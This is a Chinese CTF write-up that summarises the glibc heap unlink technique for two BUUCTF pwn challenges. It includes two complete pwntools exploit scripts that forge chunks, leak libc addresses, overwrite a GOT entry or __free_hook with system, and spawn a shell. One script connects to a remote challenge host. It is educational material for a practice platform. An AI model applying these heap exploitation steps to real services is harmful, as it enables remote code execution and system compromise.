buuctf hitcon_training,axb_2019_heap,unlink一般利用方法总结

两道都是使用了unlink

并且两道题的方法一模一样,和上一篇的ZCTF的一道题也一样
使用unlink的题目一般有这样的特征

  1. 指针位置泄露(这三道题全都是在bss上的指针)
  2. 存在off-by-one或者off-by-null以及其他溢出修改漏洞
    第一条用于控制unlink堆块的检验,第二条用于激活unlink,两者缺一不可。

利用方法:

  1. 制造unlink块,修改fd为ptr-0x18,bk为ptr-0x10,构造chunk_head和下一个chunk的prev_size,通过off修改下一个chunk的prev_inuse位,释放下一个chunk,触发unlink以修改地址
  2. 泄露地址,editptr+0x18位置为某个got表,使用show打印放在该数据(注意填充)
  3. 修改ptr+18处数据为system
  4. 对相关函数填上binsh字符串参数,getshell

hitcon_training

from pwn import *
# io = process('./bamboobox')
io = remote('node4.buuoj.cn',29838)
libc= ELF('./libc-2.23.so')
# elf = ELF('./bamboobox')
context.log_level='debug'

def show():
    io.recvuntil('choice:')
    io.sendline(str(1))


def add(length,content):
    io.recvuntil('choice:')
    io.sendline(str(2))
    io.recvuntil('name:')
    io.sendline(str(length))
    io.recvuntil('item:')
    io.sendline(str(content))

def edit(index,len,content):
    io.recvuntil('choice:')
    io.sendline(str(3))
    io.recvuntil('index of item:')
    io.sendline(str(index))
    io.recvuntil('item name:')
    io.sendline(str(len))
    io.recvuntil('name of the item:')
    io.sendline(content)

def delete(id):
    io.recvuntil('choice:')
    io.sendline(str(4))
    io.recvuntil('index of item:')
    io.sendline(str(id))



chunk_head = 0x6020C8
puts_got = elf.got['puts']




add(0x40,'a')
add(0x80,'a')
add(0x80,'a')


# step1: create unlink condition
payload1 = p64(0)+p64(0x41)+p64(chunk_head-0x18)+p64(chunk_head-0x10)+'a'*0x20+p64(0x40)+p64(0x90) #0x90 overflow
edit(0,0x50,payload1)
# gdb.attach(io,"b *0x400C4D")
delete(1)

# step2:leak addr
atoi_got = elf.got['atoi']
# gdb.attach(io,"b *0x400B23")
edit(0,0x80,p64(0)*3+p64(atoi_got))
show()
io.recvuntil('0 : ')
puts_addr = u64(io.recvuntil('\x7f').ljust(8,'\x00'))
print "puts----->" + hex(puts_addr)

libc_base = puts_addr - libc.sym['atoi']
print "libc_base----->" + hex(libc_base)
pause()
libc_system = libc.sym['system']
system_addr = libc_base + libc_system

# step3: hook_hijack
edit(0,0x8,p64(system_addr))
io.recvuntil('choice:')
io.sendline('/bin/sh\x00')

io.interactive()


axb_2019_heap

这道题由于开了full_relro,不能GOT_HIJACK因此只能通过修改hook实现

from pwn import *
# from LibcSearcher import *
context.log_level = 'debug'

# unlink
io = process('./axb_2019_heap')
# io = remote('node4.buuoj.cn',26275)
libc = ELF('./libc-2.23.so')

def add(index,size,con):
    io.recvuntil('>> ')
    io.sendline(str(1))
    io.recvuntil('(0-10):')
    io.sendline(str(index))
    io.recvuntil('size:\n')
    io.sendline(str(size))
    io.recvuntil('content: \n')
    io.sendline(con)
    io.recvline()

def delete(index):
    io.recvuntil('>> ')
    io.sendline(str(2))
    io.recvuntil('index:\n')
    io.sendline(str(index))
    io.recvline()


def edit(index,content):
    io.recvuntil('>> ')
    io.sendline(str(4))
    io.recvuntil('index:\n')
    io.sendline(str(index))
    io.recvuntil('content: \n')
    io.sendline(content)
    io.recvline()

# step1: leak code-loading base and libc_addr
# using fmtstr in ini()
payload1 = '%15$p.%19$p'
io.sendlineafter('Enter your name: ',payload1)
io.recvuntil('Hello, ')
libc_start_240 = int(io.recvuntil('.')[:-1],16)
main_addr = int(io.recvuntil('\n'),16)

print "libc_start_240----->" + hex(libc_start_240)
print "main----->" + hex(main_addr)
pie_base = main_addr-0x116a
print "pie_base----->" + hex(pie_base)
libc_start_main_addr = libc_start_240-240
print "libc_start_main----->" + hex(libc_start_main_addr)
libc_base = libc_start_main_addr - libc.sym['__libc_start_main']
print "libc_base----->" + hex(libc_base)
system_addr=libc_base+libc.symbols["system"]
free_hook=libc_base+libc.symbols["__free_hook"]


#step2: fake_unlink
ptr = 0x202060+pie_base

add(0,0x98,p64(0)) #chunk0
add(1,0x90,p64(1)) #chunk1
payload2 = p64(0)+p64(0x91)+p64(ptr-0x18)+p64(ptr-0x10) # fake chunk
payload2+='a'*0x70+p64(0x90)+'\xa0'
edit(0,payload2)
# gdb.attach(io,"brva 0xF88")
delete(1) # trigger unlink

payload3 = p64(0)*3+p64(free_hook)+p64(0x38)
edit(0,payload3)
gdb.attach(io,"brva 0x108c")
edit(0,p64(system_addr))
add(2,0x88,'/bin/sh\x00')

io.recvuntil('>> ')
io.sendline(str(2))
io.recvuntil('index:\n')
io.sendline(str(2))


io.interactive()



你可能感兴趣的:(pwn)